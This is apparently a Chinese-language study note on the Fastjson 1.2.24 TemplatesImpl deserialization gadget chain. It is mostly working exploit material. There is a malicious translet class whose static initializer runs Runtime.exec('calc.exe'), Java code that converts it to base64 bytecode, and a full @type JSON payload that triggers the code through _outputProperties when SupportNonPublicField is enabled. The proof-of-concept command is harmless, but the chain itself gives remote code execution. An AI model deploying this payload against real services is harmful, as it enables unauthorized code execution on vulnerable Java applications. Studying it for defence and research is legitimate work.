根据fastjson反序列化的特点很容易想到TemplatesImpl#getOutputProperties 这个getter.
    evilClz:

    1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
    2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    6. import java.io.IOException;
    7. public class evilClz extends AbstractTranslet {
    8. static {
    9. try {
    10. Runtime.getRuntime().exec("calc.exe");
    11. } catch (IOException e) {
    12. e.printStackTrace();
    13. }
    14. }
    15. @Override
    16. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    17. }
    18. @Override
    19. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    20. }
    21. }

    demo code:

    1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    3. import javassist.ClassPool;
    4. import javassist.CtClass;
    5. public class evil {
    6. public static void main(String[] args) throws Exception {
    7. ClassPool pool = ClassPool.getDefault();
    8. CtClass ct = pool.get(evilClz.class.getName());
    9. byte[] code = ct.toBytecode();
    10. TemplatesImpl tmpl = new TemplatesImpl();
    11. Reflections.setFieldValue(tmpl,"_bytecodes", new byte[][] {code});
    12. Reflections.setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
    13. Reflections.setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
    14. tmpl.getOutputProperties();
    15. }
    16. }

    但是注意到,这个链子可以使用,那么对_bytecodes, _name,_tfactory属性要求存在setter方法.
    虽然对于_bytecodes和_name我们可以找到setter函数为其赋值:
    image.png
    image.png
    但是对于_tfactory函数却没有对应的setter函数:
    以上不对,JavaBean的getter和setter一定要是public的, 而上面找的是private的.
    这篇文章中有所有对getter和setter的要求: https://blog.weik1.top/2021/09/08/Fastjson%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Fastjson-1-2-24

    image.png image.png

    而 Feature.SupportNonPublicField 这个就解决了这个问题, 这个选项如果开启的话, 即使没有setter也会使用反射给私有属性赋值.
    另外还有一点值得注意的: 在payload中添加 “_outputProperties”:{}, 会调用getOutPutProperties. 即使是JSON.parse函数(而这个函数一半不会调用JavaBean的Setter的)
    image.png
    payload生成: 主要观察一下 new byte[][] {code} 序列化之后是什么样的, 然后这里实际上就是byte数组的base64编码,

    1. import com.alibaba.fastjson.JSON;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    3. import javassist.ClassPool;
    4. import javassist.CtClass;
    5. public class evil {
    6. public static void main(String[] args) throws Exception {
    7. ClassPool pool = ClassPool.getDefault();
    8. CtClass ct = pool.get(evilClz.class.getName());
    9. byte[] code = ct.toBytecode();
    10. TemplatesImpl tmpl = new TemplatesImpl();
    11. System.out.println(JSON.toJSONString(new byte[][] {code})); // _bytecodes
    12. }
    13. }
    14. // ["yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMZXZpbENsejsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAxldmlsQ2x6LmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEAB2V2aWxDbHoBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAkADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADAAJAA8ADAANAA0ADgARABAADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw=="]

    然后具体解析参考feng师傅,因为我对fastjson反序列化解析并不是很清楚: https://blog.csdn.net/rfrder/article/details/123216053
    解析方法在这: https://xz.aliyun.com/t/8979#toc-2 , 不过并没有看的很明白.

    总结: 略鸡肋的一条利用链,哪个开发会这么写? Feature.SupportNonPublicField.

    1. {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMZXZpbENsejsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAxldmlsQ2x6LmphdmEMAAkACgcALgwALwAwAQAIY2FsYy5leGUMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEAB2V2aWxDbHoBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAkADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADAAJAA8ADAANAA0ADgARABAADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw=="],"_name":"123","_outputProperties":{}}